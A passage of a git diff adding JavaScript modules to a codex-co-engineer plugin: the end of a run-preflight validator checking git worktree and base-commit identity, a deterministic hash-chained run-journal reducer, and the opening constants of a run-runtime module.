readBoundedText(gitEntryPath, `${pathLabel}.path`); + const match = PRIVATE_GITDIR_LINE_PATTERN.exec(text.replace(/\n$/u, '')); + if (!match) { + failPreflight('repository_layout_invalid', `${pathLabel}.path`, + 'The repository layout is not a trusted git worktree layout.'); + } + const declared = nodePath.isAbsolute(match[1]) ? match[1] : nodePath.resolve(repositoryPath, match[1]); + try { + entryTarget = await nodeRealpath(declared); + } catch { + entryTarget = null; + } + } else { + failPreflight('repository_layout_invalid', `${pathLabel}.path`, + 'The repository layout is not a trusted git worktree layout.'); + } + let observedTarget; + try { + observedTarget = await nodeRealpath(observedGitDir); + } catch { + observedTarget = null; + } + if (entryTarget === null || observedTarget === null || entryTarget !== observedTarget) { + failPreflight('repository_layout_invalid', `${pathLabel}.path`, + 'The repository layout is not a trusted git worktree layout.'); + } +} + +async function observeExactBaseCommit(session, repositoryPath, baseSha, pathLabel) { + const typeOutcome = await runObservation( + session, + ['-C', repositoryPath, 'cat-file', '-t', baseSha], + `${pathLabel}.base_sha`, + ); + if (typeOutcome instanceof RunContractV1Error) throw typeOutcome; + if (typeOutcome.exit_code !== 0 || typeOutcome.stdout.trim() !== PRIVATE_BASE_TYPE) { + failPreflight('base_identity_invalid', `${pathLabel}.base_sha`, + 'The submitted base must exist as exactly one immutable commit object.'); + } + const replaceLines = await mustObserve( + session, + ['-C', repositoryPath, 'for-each-ref', '--format=%(refname)', '--', 'refs/replace'], + `${pathLabel}.base_sha`, + ); + const replaceText = replaceLines[0] ?? ''; + if (replaceLines.length !== 1 || replaceText.length > 0) { + failPreflight('replace_refs_denied', `${pathLabel}.base_sha`, + 'The repository carries replace refs; object identity cannot be proven exact.'); + } +} + +async function observeRepositoryAndBase(manifest, spawnFn) { + const repositoryPath = manifest.repository.path; + const baseSha = manifest.repository.base_sha; + const pathLabel = 'repository'; + const session = createSession(spawnFn); + const gitDir = await observeCanonicalRepository(session, repositoryPath, pathLabel); + await observeExactBaseCommit(session, repositoryPath, baseSha, pathLabel); + return capturedFreeze({ + path: repositoryPath, + base_sha: baseSha, + object_type: PRIVATE_BASE_TYPE, + git_dir: gitDir, + }); +} + +function buildReceipt(manifest, summary, repositoryFacts, hostFacts) { + const concurrency = manifest.policy.max_concurrency; + const sideEffects = {}; + for (const claim of RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS) { + sideEffects[claim] = false; + } + return capturedFreeze({ + schema: RUN_PREFLIGHT_SCHEMA_ID, + version: RUN_PREFLIGHT_VERSION, + status: 'ready', + run_id: manifest.run_id, + children: summary, + capacity: capturedFreeze({ + source: hostFacts.source, + cpu_parallelism: hostFacts.cpu_parallelism, + total_ram_bytes: hostFacts.total_ram_bytes, + available_ram_bytes: hostFacts.available_ram_bytes, + required_ram_bytes: concurrency * PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD, + cpu_ok: true, + ram_ok: true, + }), + repository: repositoryFacts, + checks: RUN_PREFLIGHT_CHECKS, + side_effects: capturedFreeze(sideEffects), + git_identity: buildGitIdentityV1({ + repository_path: repositoryFacts.path, + base_sha: repositoryFacts.base_sha, + }), + }); +} + +export async function validateRunPreflightV1(request, options) { + const parsedOptions = parseOptions(options); + const manifestInput = parseRequest(request); + enforceChildBounds(manifestInput); + const snapshot = parseRunManifestV1(manifestInput); + const childrenSummary = summarizeChildren(snapshot); + assertIndependentFanout(snapshot); + assertSnapshotDisjointWriterScopes(snapshot); + const hostFactsSource = parsedOptions.host ?? ambientHostFacts(); + const hostFacts = capturedFreeze({ + source: parsedOptions.host ? 'injected' : 'ambient', + cpu_parallelism: hostFactsSource.cpu_parallelism, + total_ram_bytes: hostFactsSource.total_ram_bytes, + available_ram_bytes: hostFactsSource.available_ram_bytes, + }); + enforceHostCapacity(hostFacts, snapshot.policy.max_concurrency); + const repositoryFacts = await observeRepositoryAndBase(snapshot, parsedOptions.spawn); + return buildReceipt(snapshot, childrenSummary, repositoryFacts, hostFacts); +} + +export function describeRunPreflightV1() { + const inventory = capturedFreeze({ + schema: RUN_PREFLIGHT_SCHEMA_ID, + version: RUN_PREFLIGHT_VERSION, + rule: 'validate_only_no_launch_side_effect', + min_children: PREFLIGHT_MIN_CHILDREN, + max_children: PREFLIGHT_MAX_CHILDREN, + ram_floor_bytes_per_child: PREFLIGHT_RAM_FLOOR_BYTES_PER_CHILD, + readonly_git_commands: RUN_PREFLIGHT_READONLY_GIT_COMMANDS, + git_spawn_posture: 'argv_only_closed_env_no_optional_locks', + checks: RUN_PREFLIGHT_CHECKS, + error_codes: RUN_PREFLIGHT_ERROR_CODES, + side_effect_nonclaims: RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, + composed_surfaces: capturedFreeze({ + run_contract: 'P02 run-manifest/run-policy via parseRunManifestV1', + git_identity_binding: 'P03 protected-identity buildGitIdentityV1', + selection_resolution: 'P05 resolver owns resolution; not invoked here', + provider_composition: 'P23 registry owns composition; not invoked here', + durable_submission: 'P24 run store owns writes; nothing written here', + }), + }); + return freezeData(inventory); +} + +capturedFreeze(validateRunPreflightV1); +capturedFreeze(describeRunPreflightV1); diff --git a/plugins/codex-co-engineer/mcp/v3/run-reducer.mjs b/plugins/codex-co-engineer/mcp/v3/run-reducer.mjs new file mode 100644 index 0000000..66ddc02 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-reducer.mjs @@ -0,0 +1,549 @@ +// Pure deterministic run-journal reducer (P25). This module owns the closed +// run-journal event vocabulary, the per-child/run transition lattice, and the +// monotonic terminal-absorbing derived state projection. It performs no I/O, +// reads no clock, and draws no randomness: identical inputs always reduce to +// the identical frozen state, so an exact journal replay after a crash or +// restart reproduces the exact derived state. +// +// Closed event kinds and payloads: +// run_opened {} (exactly seq 1) +// child_started { assignment_id } +// child_progress { assignment_id, note } +// child_artifact { assignment_id, artifact: { digest, bytes } } +// child_terminal { assignment_id, outcome } +// run_terminal { outcome } +// +// Artifact references are closed content-addressed shapes (digest plus byte +// length) only. This module never verifies artifact bytes (P08/P10), never +// invokes a scheduler or provider, and never reduces attention batches. +// +// The reducer enforces the logical hash-chain linkage (`prev` must equal the +// current head hash and `hash` must carry the journal hash shape); the +// cryptographic digest computation itself lives in run-journal.mjs so this +// module stays free of crypto and filesystem dependencies. + +import { + capturedCreate, + capturedFreeze, + capturedIncludes, + capturedTest, + capturedUtf8ByteLength, + sortedCapturedKeys, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { ASSIGNMENT_ID_PATTERN } from './run-manifest.mjs'; +import { + SHA256_DIGEST_PATTERN, + assertDirectJsonClosure, + assertPlainObject, + fail, + hasOwn, +} from './selection-json.mjs'; + +export const RUN_JOURNAL_ENTRY_SCHEMA_ID = 'codex-co-engineer.run-journal-entry.v1'; +export const RUN_JOURNAL_STATE_SCHEMA_ID = 'codex-co-engineer.run-journal-state.v1'; +export const RUN_JOURNAL_HASH_DOMAIN = 'codex-co-engineer.run-journal-hash.v1'; +export const RUN_JOURNAL_GENESIS_PREV = 'codex-co-engineer.run-journal.genesis.v1'; + +export const RUN_JOURNAL_EVENT_KINDS = capturedFreeze([ + 'run_opened', 'child_started', 'child_progress', 'child_artifact', + 'child_terminal', 'run_terminal', +]); +export const RUN_JOURNAL_OUTCOMES = capturedFreeze(['completed', 'failed', 'cancelled']); +export const MAX_RUN_JOURNAL_CHILDREN = 8; +export const MAX_RUN_JOURNAL_NOTE_BYTES = 64; +export const MAX_RUN_JOURNAL_DEDUPE_KEY_BYTES = 128; +export const MAX_RUN_JOURNAL_ARTIFACT_BYTES = 1_073_741_824; + +const NOTE_PATTERN = /^[a-z0-9][a-z0-9._-]{0,62}$/u; +const DEDUPE_KEY_PATTERN = /^[\x21-\x7e]{1,128}$/u; +const HASH_SHAPE_PATTERN = SHA256_DIGEST_PATTERN; +const ENTRY_KEYS = capturedFreeze(['schema', 'seq', 'kind', 'data', 'dedupe_key', 'prev', 'hash']); +const STATE_KEYS = capturedFreeze([ + 'schema', 'revision', 'head_hash', 'run_opened', 'children', 'child_count', + 'event_counts', 'artifacts_total', 'artifact_bytes_total', 'run_outcome', + 'terminal', +]); + +const STRING = String; +const NUMBER_IS_SAFE_INTEGER = Number.isSafeInteger; + +function failReducer(code, path, message) { + fail(code, path, message); +} + +function assertSafePositiveInt(value, path) { + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value) || value < 1) { + failReducer('invalid_format', path, `${path} must be a positive safe integer.`); + } + return value; +} + +function assertHashShape(value, path, allowGenesis = false) { + if (typeof value !== 'string') { + failReducer('invalid_format', path, `${path} must be a hash chain string.`); + } + if (capturedTest(HASH_SHAPE_PATTERN, value)) return value; + if (allowGenesis && value === RUN_JOURNAL_GENESIS_PREV) return value; + failReducer('invalid_format', path, `${path} must be a sha256 digest or the genesis marker.`); +} + +function assertAssignmentId(value, path) { + if (typeof value !== 'string' || !capturedTest(ASSIGNMENT_ID_PATTERN, value)) { + failReducer('invalid_format', path, `${path} must match ${ASSIGNMENT_ID_PATTERN.source}.`); + } + return value; +} + +function assertClosedData(value, path, allowed) { + if (value === undefined || value === null || typeof value !== 'object' || Array.isArray(value)) { + failReducer('invalid_type', path, `${path} must be a plain JSON data object.`); + } + assertDirectJsonClosure(value, path); + assertPlainObject(value, 'invalid_type', path, path); + const keys = sortedCapturedKeys(value); + if (keys.length !== allowed.length) { + failReducer('unknown_key', path, `${path} must carry exactly the closed payload keys.`); + } + for (const key of keys) { + if (!capturedIncludes(allowed, key)) { + failReducer('unknown_key', `${path}.${key}`, `${path}.${key} is not part of the closed event payload.`); + } + } + return value; +} + +function assertNote(value, path) { + if (typeof value !== 'string' || !capturedTest(NOTE_PATTERN, value) + || capturedUtf8ByteLength(value) > MAX_RUN_JOURNAL_NOTE_BYTES) { + failReducer('invalid_format', path, + `${path} must be a bounded content-free progress note code.`); + } + return value; +} + +function assertDedupeKey(value, path) { + if (typeof value !== 'string' || !capturedTest(DEDUPE_KEY_PATTERN, value) + || capturedUtf8ByteLength(value) > MAX_RUN_JOURNAL_DEDUPE_KEY_BYTES) { + failReducer('invalid_format', path, + `${path} must be 1-128 printable ASCII characters without whitespace.`); + } + return value; +} + +function assertArtifactRef(value, path) { + if (value === undefined || value === null || typeof value !== 'object' || Array.isArray(value)) { + failReducer('invalid_type', path, `${path} must be a closed artifact reference object.`); + } + assertDirectJsonClosure(value, path); + const keys = sortedCapturedKeys(value); + if (keys.length !== 2 || keys[0] !== 'bytes' || keys[1] !== 'digest') { + failReducer('unknown_key', path, + `${path} must carry exactly the closed { bytes, digest } artifact reference shape.`); + } + if (typeof value.digest !== 'string' || !capturedTest(HASH_SHAPE_PATTERN, value.digest)) { + failReducer('invalid_format', `${path}.digest`, + `${path}.digest must be a sha256:<64 hex> content digest.`); + } + const bytes = value.bytes; + if (typeof bytes !== 'number' || !NUMBER_IS_SAFE_INTEGER(bytes) + || bytes < 1 || bytes > MAX_RUN_JOURNAL_ARTIFACT_BYTES) { + failReducer('invalid_format', `${path}.bytes`, + `${path}.bytes must be a safe integer within the bounded artifact size.`); + } + return { bytes, digest: value.digest }; +} + +// Validates one closed event payload for `kind` and returns the normalized +// frozen { kind, data } pair. Shared by append-time validation and replay. +export function validateRunJournalEventDataV1(kind, data) { + if (!capturedIncludes(RUN_JOURNAL_EVENT_KINDS, kind)) { + failReducer('invalid_format', 'kind', 'Event kind is not part of the closed run-journal vocabulary.'); + } + if (kind === 'run_opened') { + assertClosedData(data, 'data', []); + return { kind, data: {} }; + } + if (kind === 'run_terminal') { + const fields = assertClosedData(data, 'data', ['outcome']); + if (!capturedIncludes(RUN_JOURNAL_OUTCOMES, fields.outcome)) { + failReducer('invalid_format', 'data.outcome', + 'data.outcome must be a closed terminal run outcome.'); + } + return { kind, data: { outcome: fields.outcome } }; + } + if (kind === 'child_started') { + const fields = assertClosedData(data, 'data', ['assignment_id']); + return { + kind, + data: { assignment_id: assertAssignmentId(fields.assignment_id, 'data.assignment_id') }, + }; + } + if (kind === 'child_progress') { + const fields = assertClosedData(data, 'data', ['assignment_id', 'note']); + return { + kind, + data: { + assignment_id: assertAssignmentId(fields.assignment_id, 'data.assignment_id'), + note: assertNote(fields.note, 'data.note'), + }, + }; + } + if (kind === 'child_artifact') { + const fields = assertClosedData(data, 'data', ['assignment_id', 'artifact']); + return { + kind, + data: { + assignment_id: assertAssignmentId(fields.assignment_id, 'data.assignment_id'), + artifact: assertArtifactRef(fields.artifact, 'data.artifact'), + }, + }; + } + const fields = assertClosedData(data, 'data', ['assignment_id', 'outcome']); + if (!capturedIncludes(RUN_JOURNAL_OUTCOMES, fields.outcome)) { + failReducer('invalid_format', 'data.outcome', + 'data.outcome must be a closed terminal child outcome.'); + } + return { + kind, + data: { + assignment_id: assertAssignmentId(fields.assignment_id, 'data.assignment_id'), + outcome: fields.outcome, + }, + }; +} + +// Validates the closed envelope of one journal entry (shapes and formats +// only; chain linkage and lattice legality are enforced by reduction). +export function validateRunJournalEntryV1(entry) { + if (entry === undefined || entry === null || typeof entry !== 'object' || Array.isArray(entry)) { + failReducer('invalid_type', 'entry', 'A journal entry must be a plain JSON data object.'); + } + assertDirectJsonClosure(entry, 'entry'); + for (const key of sortedCapturedKeys(entry)) { + if (!capturedIncludes(ENTRY_KEYS, key)) { + failReducer('unknown_key', `entry.${key}`, `entry.${key} is not part of the closed entry shape.`); + } + } + for (const key of ['schema', 'seq', 'kind', 'data', 'prev', 'hash']) { + if (!hasOwn(entry, key)) failReducer('missing_key', `entry.${key}`, `entry.${key} is required.`); + } + if (entry.schema !== RUN_JOURNAL_ENTRY_SCHEMA_ID) { + failReducer('invalid_format', 'entry.schema', + `entry.schema must be exactly "${RUN_JOURNAL_ENTRY_SCHEMA_ID}".`); + } + const seq = assertSafePositiveInt(entry.seq, 'entry.seq'); + if (hasOwn(entry, 'dedupe_key')) assertDedupeKey(entry.dedupe_key, 'entry.dedupe_key'); + const { kind, data } = validateRunJournalEventDataV1(entry.kind, entry.data); + const prev = assertHashShape(entry.prev, 'entry.prev', true); + const hash = assertHashShape(entry.hash, 'entry.hash', false); + return { + schema: RUN_JOURNAL_ENTRY_SCHEMA_ID, + seq, + kind, + data, + ...(hasOwn(entry, 'dedupe_key') ? { dedupe_key: entry.dedupe_key } : {}), + prev, + hash, + }; +} + +// The empty derived state. `head_hash` is the genesis marker until the first +// committed entry extends the chain. +export function emptyRunJournalStateV1() { + const counts = capturedCreate(null); + for (const kind of RUN_JOURNAL_EVENT_KINDS) counts[kind] = 0; + return { + schema: RUN_JOURNAL_STATE_SCHEMA_ID, + revision: 0, + head_hash: RUN_JOURNAL_GENESIS_PREV, + run_opened: false, + children: [], + child_count: 0, + event_counts: counts, + artifacts_total: 0, + artifact_bytes_total: 0, + run_outcome: null, + terminal: false, + }; +} + +function childIndex(state, assignmentId) { + for (let index = 0; index < state.children.length; index += 1) { + if (state.children[index].assignment_id === assignmentId) return index; + } + return -1; +} + +function childAt(state, assignmentId, path) { + const index = childIndex(state, assignmentId); + if (index < 0) { + failReducer('run_journal_child_unknown', path, + 'The event names a child that never started in this run journal.'); + } + return state.children[index]; +} + +function insertChildSorted(children, child) { + const index = children.findIndex((existing) => existing.assignment_id > child.assignment_id); + if (index < 0) return [...children, child]; + return [...children.slice(0, index), child, ...children.slice(index)]; +} + +function assertOpenAndLive(state) { + if (!state.run_opened) { + failReducer('run_journal_not_opened', 'kind', + 'The first journal entry must be a run_opened event.'); + } + if (state.terminal) { + failReducer('run_journal_terminal_absorbed', 'kind', + 'The run journal reached its absorbing terminal state; no further event is legal.'); + } +} + +// Applies one validated entry to `state` and returns the next frozen state. +// Throws typed RunContractV1Error values for dense-sequence violations, +// chain-linkage breaks, illegal lattice transitions, and terminal-absorption +// violations. Never mutates `state`. +export function applyRunJournalEntryV1(state, entry) { + const normalized = validateRunJournalEntryV1(entry); + if (normalized.seq !== state.revision + 1) { + failReducer('run_journal_sequence_invalid', 'entry.seq', + 'Journal entries must carry the next dense sequence number.'); + } + if (normalized.prev !== state.head_hash) { + failReducer('run_journal_chain_break', 'entry.prev', + 'The entry does not extend the current hash chain head.'); + } + const { kind, data } = normalized; + if (kind === 'run_opened') { + if (state.revision !== 0 || state.run_opened) { + failReducer('run_journal_transition_invalid', 'kind', + 'run_opened is legal only as the very first journal entry.'); + } + } else { + assertOpenAndLive(state); + } + const children = [...state.children]; + const eventCounts = { ...state.event_counts }; + let artifactsTotal = state.artifacts_total; + let artifactBytesTotal = state.artifact_bytes_total; + let runOutcome = state.run_outcome; + let terminal = state.terminal; + + if (kind === 'child_started') { + if (childIndex(state, data.assignment_id) >= 0) { + failReducer('run_journal_transition_invalid', 'data.assignment_id', + 'The child already started; starts are not repeatable.'); + } + if (state.child_count >= MAX_RUN_JOURNAL_CHILDREN) { + failReducer('run_journal_children_exceeded', 'data.assignment_id', + `A run journal binds at most ${MAX_RUN_JOURNAL_CHILDREN} children.`); + } + children.push({ + assignment_id: data.assignment_id, + started_seq: normalized.seq, + progress_events: 0, + artifact_events: 0, + artifact_bytes: 0, + outcome: null, + terminal_seq: null, + }); + children.sort((left, right) => (left.assignment_id < right.assignment_id ? -1 : 1)); + } else if (kind === 'child_progress' || kind === 'child_artifact') { + const index = childIndex(state, data.assignment_id); + if (index < 0) { + failReducer('run_journal_child_unknown', 'data.assignment_id', + 'The event names a child that never started in this run journal.'); + } + const child = children[index]; + if (child.outcome !== null) { + failReducer('run_journal_transition_invalid', 'data.assignment_id', + 'The child already reached an absorbing terminal outcome.'); + } + children[index] = kind === 'child_progress' + ? { ...child, progress_events: child.progress_events + 1 } + : { + ...child, + artifact_events: child.artifact_events + 1, + artifact_bytes: child.artifact_bytes + data.artifact.bytes, + }; + if (kind === 'child_artifact') { + artifactsTotal += 1; + artifactBytesTotal += data.artifact.bytes; + } + } else if (kind === 'child_terminal') { + const index = childIndex(state, data.assignment_id); + if (index < 0) { + failReducer('run_journal_child_unknown', 'data.assignment_id', + 'The event names a child that never started in this run journal.'); + } + const child = children[index]; + if (child.outcome !== null) { + failReducer('run_journal_transition_invalid', 'data.assignment_id', + 'The child outcome is already absorbing and cannot be rewritten.'); + } + children[index] = { ...child, outcome: data.outcome, terminal_seq: normalized.seq }; + } else if (kind === 'run_terminal') { + if (state.child_count < 1 || children.some((child) => child.outcome === null)) { + failReducer('run_journal_transition_invalid', 'kind', + 'run_terminal is legal only once every started child reached a terminal outcome.'); + } + runOutcome = data.outcome; + terminal = true; + } + + eventCounts[kind] += 1; + const next = { + schema: RUN_JOURNAL_STATE_SCHEMA_ID, + revision: normalized.seq, + head_hash: normalized.hash, + run_opened: kind === 'run_opened' ? true : state.run_opened, + children, + child_count: kind === 'child_started' + ? state.child_count + 1 + : state.child_count, + event_counts: eventCounts, + artifacts_total: artifactsTotal, + artifact_bytes_total: artifactBytesTotal, + run_outcome: runOutcome, + terminal, + }; + assertStateShape(next, 'state'); + return freezeState(next); +} + +// Validates the closed derived-state shape and its internal counter +// invariants. Used by the journal to audit a persisted state cache against +// tampering before the exact replay comparison. +export function validateRunJournalStateV1(state) { + return assertStateShape(state, 'state'); +} + +// Folds a full entry stream from the empty state. Exact replay primitive. +export function reduceRunJournalEntriesV1(entries) { + let state = freezeState(emptyRunJournalStateV1()); + for (const entry of entries) { + state = applyRunJournalEntryV1(state, entry); + } + return state; +} + +function assertStateShape(state, path) { + if (state === undefined || state === null || typeof state !== 'object' || Array.isArray(state)) { + failReducer('invalid_type', path, `${path} must be a plain derived-state object.`); + } + assertDirectJsonClosure(state, path); + for (const key of sortedCapturedKeys(state)) { + if (!capturedIncludes(STATE_KEYS, key)) { + failReducer('unknown_key', `${path}.${key}`, `${path}.${key} is not part of the closed derived state.`); + } + } + for (const key of STATE_KEYS) { + if (!hasOwn(state, key)) failReducer('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + if (state.schema !== RUN_JOURNAL_STATE_SCHEMA_ID) { + failReducer('invalid_format', `${path}.schema`, + `${path}.schema must be exactly "${RUN_JOURNAL_STATE_SCHEMA_ID}".`); + } + if (typeof state.revision !== 'number' || !NUMBER_IS_SAFE_INTEGER(state.revision) + || state.revision < 0) { + failReducer('invalid_format', `${path}.revision`, `${path}.revision must be a non-negative safe integer.`); + } + assertHashShape(state.head_hash, `${path}.head_hash`, true); + if (typeof state.run_opened !== 'boolean' || typeof state.terminal !== 'boolean') { + failReducer('invalid_type', `${path}.run_opened`, `${path} flags must be booleans.`); + } + if (!Array.isArray(state.children)) { + failReducer('invalid_type', `${path}.children`, `${path}.children must be an array.`); + } + if (state.children.length !== state.child_count) { + failReducer('invalid_format', `${path}.child_count`, + `${path}.child_count must equal the children array length.`); + } + if (state.child_count > MAX_RUN_JOURNAL_CHILDREN) { + failReducer('run_journal_children_exceeded', `${path}.child_count`, + `${path} binds at most ${MAX_RUN_JOURNAL_CHILDREN} children.`); + } + for (const child of state.children) { + if (child === null || typeof child !== 'object') { + failReducer('invalid_type', `${path}.children`, 'Child records must be plain objects.'); + } + assertAssignmentId(child.assignment_id, `${path}.child.assignment_id`); + assertSafePositiveInt(child.started_seq, `${path}.child.started_seq`); + for (const counter of ['progress_events', 'artifact_events', 'artifact_bytes']) { + if (typeof child[counter] !== 'number' || !NUMBER_IS_SAFE_INTEGER(child[counter]) + || child[counter] < 0) { + failReducer('invalid_format', `${path}.child.${counter}`, + `${path}.child.${counter} must be a non-negative safe integer.`); + } + } + if (child.outcome !== null && !capturedIncludes(RUN_JOURNAL_OUTCOMES, child.outcome)) { + failReducer('invalid_format', `${path}.child.outcome`, + `${path}.child.outcome must be null or a closed terminal outcome.`); + } + if ((child.outcome === null) !== (child.terminal_seq === null)) { + failReducer('invalid_format', `${path}.child.terminal_seq`, + `${path}.child terminal fields must agree.`); + } + } + const counts = state.event_counts; + if (counts === null || typeof counts !== 'object' || Array.isArray(counts)) { + failReducer('invalid_type', `${path}.event_counts`, `${path}.event_counts must be an object.`); + } + for (const kind of RUN_JOURNAL_EVENT_KINDS) { + const value = counts[kind]; + if (typeof value !== 'number' || !NUMBER_IS_SAFE_INTEGER(value) || value < 0) { + failReducer('invalid_format', `${path}.event_counts.${kind}`, + `${path}.event_counts.${kind} must be a non-negative safe integer.`); + } + } + if (state.revision > 0 && !state.run_opened) { + failReducer('invalid_format', `${path}.run_opened`, + `${path} must stay run_opened once any entry is reduced.`); + } + if (state.run_outcome !== null && !capturedIncludes(RUN_JOURNAL_OUTCOMES, state.run_outcome)) { + failReducer('invalid_format', `${path}.run_outcome`, + `${path}.run_outcome must be null or a closed terminal outcome.`); + } + if ((state.run_outcome === null) !== !state.terminal) { + failReducer('invalid_format', `${path}.terminal`, `${path} terminal fields must agree.`); + } + let countedEvents = 0; + for (const kind of RUN_JOURNAL_EVENT_KINDS) countedEvents += counts[kind]; + if (countedEvents !== state.revision) { + failReducer('invalid_format', `${path}.event_counts`, + `${path}.event_counts must sum to the reduced revision.`); + } + let countedArtifacts = 0; + let countedArtifactBytes = 0; + let countedStarted = 0; + for (const child of state.children) { + countedArtifacts += child.artifact_events; + countedArtifactBytes += child.artifact_bytes; + countedStarted += 1; + } + if (countedArtifacts !== state.artifacts_total + || countedArtifactBytes !== state.artifact_bytes_total + || countedStarted !== counts.child_started) { + failReducer('invalid_format', `${path}.artifacts_total`, + `${path} artifact and child counters must match the reduced children.`); + } + return state; +} + +function freezeState(state) { + assertStateShape(state, 'state'); + const frozen = capturedFreeze({ ...state }); + capturedFreeze(frozen.children); + for (const child of frozen.children) capturedFreeze(child); + capturedFreeze(frozen.event_counts); + return frozen; +} + +capturedFreeze(validateRunJournalEventDataV1); +capturedFreeze(validateRunJournalEntryV1); +capturedFreeze(emptyRunJournalStateV1); +capturedFreeze(applyRunJournalEntryV1); +capturedFreeze(validateRunJournalStateV1); +capturedFreeze(reduceRunJournalEntriesV1); diff --git a/plugins/codex-co-engineer/mcp/v3/run-runtime.mjs b/plugins/codex-co-engineer/mcp/v3/run-runtime.mjs new file mode 100644 index 0000000..7ba76a7 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-runtime.mjs @@ -0,0 +1,1678 @@ +// RunRuntimeV1 — P33 composition over frozen P24/P25/R24A/R25B/P27/P34 +// plus injected scheduler, artifact bridge, and lifecycle settlement. +// +// Additive v3 facade. createRunRuntime receives already-constructed +// handles and functions; it does not open roots, import scheduler or +// artifact-bridge implementations, or own worker/boundary/lock recovery. +// Exact P24 identity is the durable one-submission authority. Scheduler +// dispatch happens only when P24 reports created=true. inspect/remember +// recover stored submission identity and never invent a placeholder +// digest. Child terminal journal facts are accepted only after +// settleLocalTaskLifecycle returns final=true and only for +// authoritatively dispatched lanes. Unresolved evidence and unconfirmed +// cancellation never map to a journal terminal outcome. +// cleanupLocalTaskLifecycle is invoked idempotently on +// terminal, cancel, and restart. Artifact cleanup is proof-bound and +// never runs without that finality. P27 is composed as R24A +// resolution_ready (ask-once selection already persisted). R25B is the +// aggregate journal path. P34 latches decision evidence. This module +// never inspects host process tables, unit membership, or managed locks, +// never creates candidate refs, and never claims Gate A, release, or a +// public tool. + +import { createHash } from 'node:crypto'; +import { types as utilTypes } from 'node:util'; + +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedTest, + sortedCapturedKeys, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { + MAX_ASSIGNMENTS, + MIN_ASSIGNMENTS, + RunContractV1Error, + assertBaseSha, + assertRunId, + isAssignmentId, +} from './run-manifest.mjs'; +import { + RUN_JOURNAL_EVENT_KINDS, + RUN_JOURNAL_GENESIS_PREV, + RUN_JOURNAL_OUTCOMES, +} from './run-reducer.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const RUN_RUNTIME_SCHEMA_ID = 'codex-co-engineer.run-runtime.v1'; +export const RUN_RUNTIME_VERSION = 1; +export const RUN_RUNTIME_RECEIPT_SCHEMA_ID = 'codex-co-engineer.run-runtime-receipt.v1'; +export const RUN_RUNTIME_HASH_DOMAIN = 'codex-co-engineer.run-runtime-hash.v1'; + +export const RUN_RUNTIME_METHODS = capturedFreeze([ + 'submitRun', 'resumeRun', 'cancelRun', 'inspectRun', +]); +export const RUN_RUNTIME_DEPENDENCY_KEYS = capturedFreeze([ + 'aggregateAnchor', + 'artifactBridge', + 'attentionBatch', + 'cleanupLocalTaskLifecycle', + 'clock', + 'runJournal', + 'runStore', + 'scheduler', + 'settleLocalTaskLifecycle', +]); +export const RUN_STORE_METHODS = capturedFreeze(['getByRunId', 'submit']); +export const RUN_JOURNAL_METHODS = capturedFreeze([ + 'create', 'createAggregate', 'open', 'openAggregate', +]); +export const AGGREGATE_ANCHOR_METHODS = capturedFreeze(['getCoordination']); +export const ATTENTION_BATCH_METHODS = capturedFreeze(['get', 'latch', 'reply']); +export const SCHEDULER_METHODS = capturedFreeze([ + 'cancelAssignments', 'resumeAssignments', 'submitAssignments', +]); +export const ARTIFACT_BRIDGE_METHODS = capturedFreeze([ + 'captureAssignmentArtifacts', 'cleanupRunArtifacts', 'projectAssignmentArtifacts', +]); +export const LIFECYCLE_FUNCTION_KEYS = capturedFreeze([ + 'cleanupLocalTaskLifecycle', 'settleLocalTaskLifecycle', +]); + +export const RUN_RUNTIME_SUBMIT_KEYS = capturedFreeze([ + 'assignments', 'git', 'identity', 'provenance', 'request_idempotency_key', + 'run_id', 'telemetry', +]); +export const RUN_RUNTIME_RESUME_KEYS = capturedFreeze([ + 'assignment_ids', 'attention_items', 'cursors', 'run_id', +]); +export const RUN_RUNTIME_CANCEL_KEYS = capturedFreeze([ + 'assignment_ids', 'cleanup', 'run_id', +]); +export const RUN_RUNTIME_INSPECT_KEYS = capturedFreeze([ + 'assignment_id', 'cursor', 'run_id', +]); + +export const RUN_RUNTIME_STATUSES = capturedFreeze([ + 'submitted', 'idempotent', 'awaiting_selection', 'dispatched', 'partial', + 'inspected', 'cancelled', 'lifecycle_pending', +]); +export const RUN_RUNTIME_LANE_STATUSES = capturedFreeze([ + 'dispatched', 'running', 'needs_attention', 'completed', 'failed', + 'cancelled', 'unresolved', 'timeout', 'transport_lost', 'environment_blocked', + 'lifecycle_pending', +]); +export const RUN_RUNTIME_JOURNAL_MODES = capturedFreeze(['legacy', 'aggregate']); +export const RUN_RUNTIME_CLEANUP_STATUSES = capturedFreeze([ + 'pending', 'normal', 'recovered', 'unknown', 'failed', +]); +export const RUN_RUNTIME_BOUNDARY_STATUSES = capturedFreeze([ + 'pending', 'active', 'inactive_empty', 'unknown', 'not_applicable', +]); +export const RUN_RUNTIME_LOCK_STATUSES = capturedFreeze([ + 'pending', 'active', 'unlocked', 'cleaned', 'unknown', 'not_applicable', +]); +export const RUN_RUNTIME_LIFECYCLE_REASONS = capturedFreeze([ + 'boundary_visibility_unknown', + 'boundary_identity_mismatch', + 'boundary_not_empty', + 'worker_exit_timeout', + 'lock_release_unproven', + 'lock_cleanup_refused', + 'cleanup_failed', +]); +export const LIFECYCLE_RECORD_KEYS = capturedFreeze([ + 'boundary', 'cleanup', 'final', 'lock', 'public_state', 'reason', + 'stored_status', 'task_id', 'version', +]); +export const LIFECYCLE_CLEANUP_KEYS = capturedFreeze(['code', 'status']); +export const LIFECYCLE_PROOF_KEYS = capturedFreeze(['status']); + +export const RUN_RUNTIME_LANE_KEYS = capturedFreeze([ + 'access', 'assignment_id', 'attention', 'cleanup', 'cursor', 'model', + 'provider', 'required', 'role', 'starting_ref', 'status', 'task_id', + 'unresolved', 'write_scope', +]); +export const RUN_RUNTIME_RECEIPT_KEYS = capturedFreeze([ + 'assignment_count', 'attention', 'base_sha', 'checks', 